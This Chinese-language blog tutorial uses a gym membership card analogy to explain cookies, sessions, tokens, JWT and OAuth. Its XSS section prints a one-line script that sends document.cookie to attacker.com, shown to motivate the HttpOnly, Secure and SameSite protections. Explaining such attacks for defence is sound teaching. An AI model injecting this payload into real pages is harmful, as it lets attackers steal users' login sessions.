为什么关掉浏览器再打开,你还是登录状态?

46 阅读7分钟

你有没有想过一个问题:为什么关掉浏览器再打开,之前登录的网站还是登录状态?浏览器重启了,凭什么还记得你是谁?

今天,我用会员卡的故事,来讲讲Cookie和Session到底是怎么回事。


原文地址

墨渊书肆/为什么关掉浏览器再打开,你还是登录状态?


浏览器是怎么"记住"你的?

想象一下你去一家健身房。

第一次去,前台会让你填表,然后给你一张会员卡。以后每次去,你只需要出示会员卡,前台就知道你是谁了。

浏览器也是一样的道理。

你登录一个网站后,网站会给你发一张"会员卡"——这就是Cookie。下次再来,直接出示"会员卡",网站就知道你是谁了。


Cookie是什么?

Cookie就是浏览器存的一段小数据,就像一张会员卡。

当你登录成功后,服务器会给你发一张"会员卡":

Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure

这句话翻译成人话就是:

  • 「这是12345号会员的卡」(userId=12345)
  • 「有效期到2026年12月31日」(expires)
  • 「在整个网站都有效」(path=/)
  • 「JavaScript无法读取」(HttpOnly)
  • 「只能用HTTPS发送」(Secure)

浏览器收到后,就会把这张"会员卡"存起来。以后你每次访问这个网站,浏览器都会自动带上这张卡:

Cookie: userId=12345

服务器一看:「哦,这是12345号会员,之前来过的。」

深入了解Cookie 🔬

Cookie是HTTP协议的一部分,由Set-Cookie响应头设置,由Cookie请求头发送。

一个标准的Cookie包含以下属性:

属性作用例子
name=valueCookie的名称和值sessionId=abc123
Expires过期时间Expires=Wed, 01 Jan 2027 00:00:00 GMT
Max-Age多少秒后过期Max-Age=3600
Path生效路径Path=/
Domain生效域名Domain=example.com
Secure仅HTTPS发送Secure
HttpOnlyJS无法读取HttpOnly
SameSite跨站策略SameSite=Strict

每个浏览器都有自己的Cookie存储:

  • Chrome/Edge:SQLite数据库
  • Firefox:JSON文件
  • Safari:二进制文件

浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。


Session是什么?

还是健身房的例子。

你有会员卡(Cookie),但健身房还需要知道你的详细信息:姓名、电话、套餐类型、健身记录……

这些信息存在哪?健身房后台的电脑里

每次你出示会员卡,前台就在电脑里查:「12345号会员,信息如下……」

这个后台记录,就是Session

深入了解Session 🔬

Session是服务器端的状态管理机制。

┌─────────────────────────────────────────────────────────────┐
                        服务器                                
  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐ 
   Session ID        Session ID        Session ID    
   abc123            def456            ghi789        
   {user:张三}       {user:李四}       {user:王五}   
  └──────────────┘    └──────────────┘    └──────────────┘ 
└─────────────────────────────────────────────────────────────┘
         
          sessionId=abc123 (Cookie)
         
┌─────────────────────────────────────────────────────────────┐
                        浏览器                                
  Cookie: sessionId=abc123                                   
└─────────────────────────────────────────────────────────────┘

Session的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器  Redis/内存:创建 Session {
       sessionId: "abc123",
       userId: 12345,
       username: "张三",
       loginTime: "2026-01-01 10:00:00",
       expireTime: "2026-01-02 10:00:00"
   }
4. 服务器  客户端:Set-Cookie: sessionId=abc123; HttpOnly

服务端Session存储对比:

存储方式优点缺点
内存重启丢失、无法分布式
Redis快、持久、可分布式需要额外组件
数据库持久

为什么关掉浏览器再打开,还是登录状态?

这就涉及到Cookie的有效期了。

Cookie有两种:

类型有效期举例
会话Cookie关掉浏览器就失效网银登录(安全)
持久Cookie到指定日期才失效购物网站记住登录(方便)

如果没有设置expires,那就是会话Cookie——关掉浏览器,"会员卡"就失效了。

但如果设置了有效期,那这张"会员卡"可以管好几年!

深入了解Cookie有效期 🔬

会话Cookie vs 持久Cookie的区别:

# 会话Cookie(没有Expires/Max-Age)
Set-Cookie: sessionId=abc123

# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT

换个浏览器为什么登录失效了?因为Cookie存在浏览器本地,不同浏览器有独立存储,互不相通。


Cookie有哪些问题?

Cookie虽然好用,但也有不少坑:

  1. 大小限制:一个Cookie最多4KB,存不了太多数据
  2. 明文传输:HTTP请求不加密,被人抓包就完了
  3. 会被XSS偷走:攻击者通过JavaScript就能拿到你的Cookie
  4. 不能跨域:baidu.com的Cookie不会发给google.com

深入了解Cookie安全问题 🔬

为什么Cookie容易出问题?

因为Cookie是明文传输的!HTTP请求长这样:

GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123

用Wireshark等工具轻松就能看到你的Cookie。

XSS攻击是什么?

攻击者在网站评论区偷偷注入一段JavaScript代码:

// 攻击者在网站评论区注入这段代码
<script>
  fetch('https://attacker.com?cookie=' + document.cookie);
</script>

当其他用户访问这个页面时,这段代码就会悄悄执行,把大家的Cookie发送给攻击者的服务器。

怎么防护?

给Cookie加上安全属性:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:JavaScript无法读取,防止XSS偷Cookie
  • Secure:只能用HTTPS发送,防止抓包
  • SameSite:阻止CSRF攻击

Token:更好的方案?

正因为Cookie有这些问题,现在很多网站用Token来代替Session。

Token就像一张临时通行证

  • 你登录成功后,服务器给你发一个Token
  • 以后每次请求,带上这个Token
  • 服务器验证Token,而不是查Session

深入了解Token 🔬

Token的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器:生成Token(签名)
4. 服务器  客户端:{token: "eyJhbGci..."}
5. 客户端  服务器:Authorization: Bearer eyJhbGci...
6. 服务器:验证Token签名,返回用户信息

Token vs Session 对比:

特征SessionToken
存储位置服务器客户端
服务器压力存储所有Session只验证签名
扩展性需要Redis等中间件无状态
跨域受Cookie限制任意发送

JWT:Token的一种格式 📄

JWT(JSON Web Token)是最常见的Token格式:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e

拆开看是三部分:

┌────────────────────────────────────────────────────────────┐
 Header (头部) - Base64编码                                  
 { "alg": "HS256", "typ": "JWT" }                          
├────────────────────────────────────────────────────────────┤
 Payload (载荷) - Base64编码                                 
 { "sub": "1234567890", "name": "张三", "exp": 1738128000 }
├────────────────────────────────────────────────────────────┤
 Signature (签名) - 密钥加密                                 
 HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥")  
└────────────────────────────────────────────────────────────┘

为什么JWT更高效? 服务器只需要验证签名,不用查询数据库


OAuth:第三方登录 🔐

你肯定见过"用微信登录""用Google登录"——这就是OAuth

OAuth让你授权别的应用访问你的信息,但不用告诉它你的密码。

深入了解OAuth 2.0 🔬

OAuth 2.0的完整流程(授权码模式):

用户  第三方App  授权服务器  资源服务器
                                  
点击登录  跳转页面   返回授权码    返回Token
                            
                    获取用户信息

OAuth的四种授权方式:

方式适用场景安全性
授权码Web App⭐⭐⭐⭐⭐
简化纯前端SPA⭐⭐⭐
密码模式自己的产品⭐⭐
客户端模式服务器对服务器⭐⭐⭐⭐

总结

类别是什么存哪像什么
Cookie浏览器存的小数据浏览器会员卡
Session服务器存的用户档案服务器健身房后台档案
Token验证身份的令牌客户端临时通行证
OAuth第三方授权-让别人帮你开门,但不给钥匙

写在最后

现在你应该懂了:

  • Cookie = 会员卡,浏览器帮你保管
  • Session = 健身房档案,服务器帮你保管
  • Token = 临时通行证,比Cookie更灵活
  • OAuth = 授权别人访问你的信息,不用给密码
  • 关掉浏览器还是登录状态 = 你的"会员卡"还没过期

下次登录时看到「记住我」或「用微信登录」,你就知道——哦,背后原来是这么回事呢。